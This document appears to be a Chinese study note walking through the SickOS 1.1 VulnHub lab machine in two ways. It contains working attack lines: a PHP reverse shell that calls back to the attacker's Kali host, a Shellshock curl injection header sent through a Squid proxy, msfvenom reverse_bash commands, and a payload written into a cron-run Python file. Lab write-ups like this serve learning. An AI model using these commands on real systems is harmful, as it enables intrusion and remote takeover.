靶机实操—SickOS—学习笔记
靶机下载地址:https://download.vulnhub.com/sickos/sick0s1.1.7z
描述:
该CTF给出了一个明确的类比,即如何在网络上执行黑客策略,以在安全环境中对其进行破坏。目标是破坏网络/计算机并获得对其的管理/根权限。
解法一
1、主机发现
通过在靶机开启前后分别使用nmap扫描,对比扫描结果,得到目标靶机的IP
nmap -sn 网段/24 # 扫描在线主机
2、NMAP扫描及思路分析
扫描主机的所有端口(建议至少两遍),之后根据扫描得出的结果分别使用 tcp 和 udp 协议扫描目标主机的开放端口
nmap --min-rate 10000 -p- 靶机IP # min-rate 最小速度 p 端口 -p- 所有端口
nmap -sT -sV -O -p 端口号 靶机IP # sT 用TCP协议扫描 sV 对扫描出的版本进行判断 O 对操作系统进行判断
nmap -sU -p 端口号 靶机IP # sU 用UDP协议
nmap漏洞脚本扫描,能够将一些特别容易的漏洞扫出来
nmap --script=vuln -p 端口号 IP
3、 Squid代理分析与设置
访问3128端口,综合之前端口扫描的结果,均出现squid,且其版本号3.1.19,通过搜索引擎(注意搜索时加上版本号)得知,squid是一个代理服务器和Web缓存服务器,主要用于Unix一类系统
目录爆破:在尝试常用的dirb
和gobuster
不可行时,尝试将3128作为代理看能够扫到什么
dirb http://IP -p http://IP:端口
4、Web渗透
目录爆破后,设置代理,再次访问靶机IP
根据之前目录爆破结果查看目录
访问robots.txt
里的/wolfcms
想办法获得管理员账号路径
对于一些新建的网站,可以查看是否存在默认用户名和密码,如果有一个可以用字典尝试,或者尝试弱密码
通过查看在github
上的代码,发现admin
出现频繁,尝试一下以admin
为用户名,使用弱口令尝试,最后幸运成功,密码也是admin
5、获得系统初始Shell
可以网上搜索一些shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/kali的IP/端口 0>&1'");?>
要先在kali上开启监听,然后执行这个Articles的代码
回到之前的界面点击上方Articles
6、提权到SickOS账户
查看当前的文件
凡是内容管理系统或是一套应用,只要涉及到数据库都会有一个配置文件,一般来说用户名和密码会写在里面,因此在发现一个疑似网站配置文件的config.php
,选择去查看,也行里面存储着数据库用户的账号密码
可以使用vi
打开,有分色的情况下更好观察
退出vi
时有异常,可以结束此次监听,之后重新进入
查看etc/passwd
文件, 像这里root、backup、sickos这些拥有bash环境的用户都要尝试使用上述的密码进行登录,尤其sickos这种与机器名相同的
因此尝试ssh的效果,最后sickos
登陆成功(中间重装了一次虚拟机,靶机IP出现改变,不影响操作)
7、进一步提权
查看当前权限
获取root
权限
解法二
1、Nikto扫描
本次使用nikto
对靶机进行漏洞扫描
nikto -h IP -useproxy http://IP:端口号
2、Shellshock漏洞原理
在/cgi-bin/status
目录下存在ShellShock漏洞
3、Shellshock验证
涉及代理服务器,尝试curl
,数据显示会更直接
curl -v --proxy http://IP:端口 http://IP/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
4、Shellshock获取初始系统shell
msfvenom -p cmd/unix/reverse_bash lhost=kali的IP lport=443 -f raw
开启监听
将上面生成的替换进之前的curl
命令里
监听端口有反应,但又断开
重启监听,修改之前命令里的路径为/bin/sh
5、Cron自动任务提权
发现有python,使用python来获得交互性更好的shell
python -c "import pty;pty.spawn('binbash')"
发现没有什么有价值的东西,因为用户是www-data
,因此进到、var/www
目录下查看有没有其它有用信息,发现有python文件,执行一下
执行python文件,根据它显示的内容,猜测它应该是存在定时任务
因此,可以将需要执行的命令写进connect.py
里面去,使用msfvenom
来生成一个
6、rooted
开启对应端口的监听
使用vi connect.py
将之前白色部分粘贴进去,可能显示画面会有一些问题,但不重要,进入vi
后用o
然后粘贴,之后:wq
保存退出,可以在退出后使用cat
命令查看是否写入了
等待contect.py
自动执行